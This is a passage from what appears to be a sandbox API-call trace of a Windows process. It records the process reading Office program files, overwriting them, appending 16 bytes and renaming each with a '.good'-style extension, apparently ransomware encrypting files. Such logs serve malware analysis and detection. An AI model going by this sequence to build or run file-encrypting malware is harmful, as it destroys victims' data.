lpOldMode=0x1f59e6e0) returned 1 [0158.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.568] GetFileType (hFile=0x7f8) returned 0x1 [0158.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.568] GetFileType (hFile=0x7f8) returned 0x1 [0158.568] ReadFile (in: hFile=0x7f8, lpBuffer=0x3441ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3441ff8*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0158.996] CloseHandle (hObject=0x7f8) returned 1 [0158.996] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", lpFilePart=0x0) returned 0x39 [0158.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0158.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.996] GetFileType (hFile=0x7f8) returned 0x1 [0158.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.996] GetFileType (hFile=0x7f8) returned 0x1 [0158.996] WriteFile (in: hFile=0x7f8, lpBuffer=0x3413c68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3413c68*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0158.996] CloseHandle (hObject=0x7f8) returned 1 [0158.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC", lpFilePart=0x0) returned 0x39 [0158.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC.gоod", lpFilePart=0x0) returned 0x3e [0158.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0158.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5afb513c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x462710)) returned 1 [0158.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0158.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic.gоod")) returned 1 [0158.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", lpFilePart=0x0) returned 0x3a [0158.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0158.998] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab"), fInfoLevelId=0x0, lpFileInformation=0x35a36c8 | out: lpFileInformation=0x35a36c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c6e13e3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e13)) returned 1 [0158.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0158.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", lpFilePart=0x0) returned 0x3a [0158.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0158.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0158.998] GetFileType (hFile=0x7f8) returned 0x1 [0158.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0158.998] GetFileType (hFile=0x7f8) returned 0x1 [0158.998] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0158.999] ReadFile (in: hFile=0x7f8, lpBuffer=0x35a3aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x35a3aa0*, lpNumberOfBytesRead=0x1f59e808*=0xe13, lpOverlapped=0x0) returned 1 [0159.000] CloseHandle (hObject=0x7f8) returned 1 [0159.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", lpFilePart=0x0) returned 0x3a [0159.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0159.000] GetFileType (hFile=0x7f8) returned 0x1 [0159.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.000] GetFileType (hFile=0x7f8) returned 0x1 [0159.001] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1e13 [0159.001] WriteFile (in: hFile=0x7f8, lpBuffer=0x35a6330*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x35a6330*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0159.001] CloseHandle (hObject=0x7f8) returned 1 [0159.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", lpFilePart=0x0) returned 0x3a [0159.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0159.001] GetFileType (hFile=0x7f8) returned 0x1 [0159.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.001] GetFileType (hFile=0x7f8) returned 0x1 [0159.001] ReadFile (in: hFile=0x7f8, lpBuffer=0x35a85d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x35a85d0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0159.187] CloseHandle (hObject=0x7f8) returned 1 [0159.187] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", lpFilePart=0x0) returned 0x3a [0159.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0159.187] GetFileType (hFile=0x7f8) returned 0x1 [0159.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.187] GetFileType (hFile=0x7f8) returned 0x1 [0159.187] WriteFile (in: hFile=0x7f8, lpBuffer=0x3433e48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3433e48*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0159.187] CloseHandle (hObject=0x7f8) returned 1 [0159.187] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab", lpFilePart=0x0) returned 0x3a [0159.187] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab.gоod", lpFilePart=0x0) returned 0x3f [0159.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0159.188] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b178fe6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e23)) returned 1 [0159.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0159.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\muauth.cab.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\muauth.cab.gоod")) returned 1 [0159.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", lpFilePart=0x0) returned 0x38 [0159.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0159.189] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico"), fInfoLevelId=0x0, lpFileInformation=0x34ba0f0 | out: lpFileInformation=0x34ba0f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536)) returned 1 [0159.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0159.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", lpFilePart=0x0) returned 0x38 [0159.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0159.190] GetFileType (hFile=0x7f8) returned 0x1 [0159.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.190] GetFileType (hFile=0x7f8) returned 0x1 [0159.190] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0159.190] ReadFile (in: hFile=0x7f8, lpBuffer=0x34ba4c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34ba4c8*, lpNumberOfBytesRead=0x1f59e808*=0x536, lpOverlapped=0x0) returned 1 [0159.191] CloseHandle (hObject=0x7f8) returned 1 [0159.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", lpFilePart=0x0) returned 0x38 [0159.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0159.192] GetFileType (hFile=0x7f8) returned 0x1 [0159.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.192] GetFileType (hFile=0x7f8) returned 0x1 [0159.192] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1536 [0159.192] WriteFile (in: hFile=0x7f8, lpBuffer=0x34bb8b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34bb8b8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0159.192] CloseHandle (hObject=0x7f8) returned 1 [0159.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", lpFilePart=0x0) returned 0x38 [0159.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0159.192] GetFileType (hFile=0x7f8) returned 0x1 [0159.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.192] GetFileType (hFile=0x7f8) returned 0x1 [0159.192] ReadFile (in: hFile=0x7f8, lpBuffer=0x34bdb58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34bdb58*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0159.219] CloseHandle (hObject=0x7f8) returned 1 [0159.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", lpFilePart=0x0) returned 0x38 [0159.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0159.893] GetFileType (hFile=0x640) returned 0x1 [0159.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.894] GetFileType (hFile=0x640) returned 0x1 [0159.894] WriteFile (in: hFile=0x640, lpBuffer=0x343d3a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x343d3a0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0159.894] CloseHandle (hObject=0x640) returned 1 [0159.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO", lpFilePart=0x0) returned 0x38 [0159.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO.gоod", lpFilePart=0x0) returned 0x3d [0159.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0159.894] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddd0ee4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddd0ee4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b83b717, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1546)) returned 1 [0159.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0159.894] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MYSL.ICO.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mysl.ico.gоod")) returned 1 [0159.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", lpFilePart=0x0) returned 0x45 [0159.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0159.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe"), fInfoLevelId=0x0, lpFileInformation=0x37c7c18 | out: lpFileInformation=0x37c7c18*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2366bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2366bd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2471bd1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1f268)) returned 1 [0159.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0159.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", lpFilePart=0x0) returned 0x45 [0159.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0159.896] GetFileType (hFile=0x640) returned 0x1 [0159.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.896] GetFileType (hFile=0x640) returned 0x1 [0159.896] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0159.896] ReadFile (in: hFile=0x640, lpBuffer=0x37c8080, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x37c8080*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0159.898] CloseHandle (hObject=0x640) returned 1 [0159.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", lpFilePart=0x0) returned 0x45 [0159.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0159.898] GetFileType (hFile=0x640) returned 0x1 [0159.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.898] GetFileType (hFile=0x640) returned 0x1 [0159.898] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1f268 [0159.898] WriteFile (in: hFile=0x640, lpBuffer=0x37c9378*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x37c9378*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0159.899] CloseHandle (hObject=0x640) returned 1 [0159.899] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", lpFilePart=0x0) returned 0x45 [0159.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0159.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0159.899] GetFileType (hFile=0x640) returned 0x1 [0159.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0159.899] GetFileType (hFile=0x640) returned 0x1 [0159.899] ReadFile (in: hFile=0x640, lpBuffer=0x37cb788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x37cb788*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0159.928] CloseHandle (hObject=0x640) returned 1 [0159.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", lpFilePart=0x0) returned 0x45 [0159.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0160.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.580] GetFileType (hFile=0x63c) returned 0x1 [0160.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0160.580] GetFileType (hFile=0x63c) returned 0x1 [0160.580] WriteFile (in: hFile=0x63c, lpBuffer=0x349f9f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x349f9f0*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0160.580] CloseHandle (hObject=0x63c) returned 1 [0160.581] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft 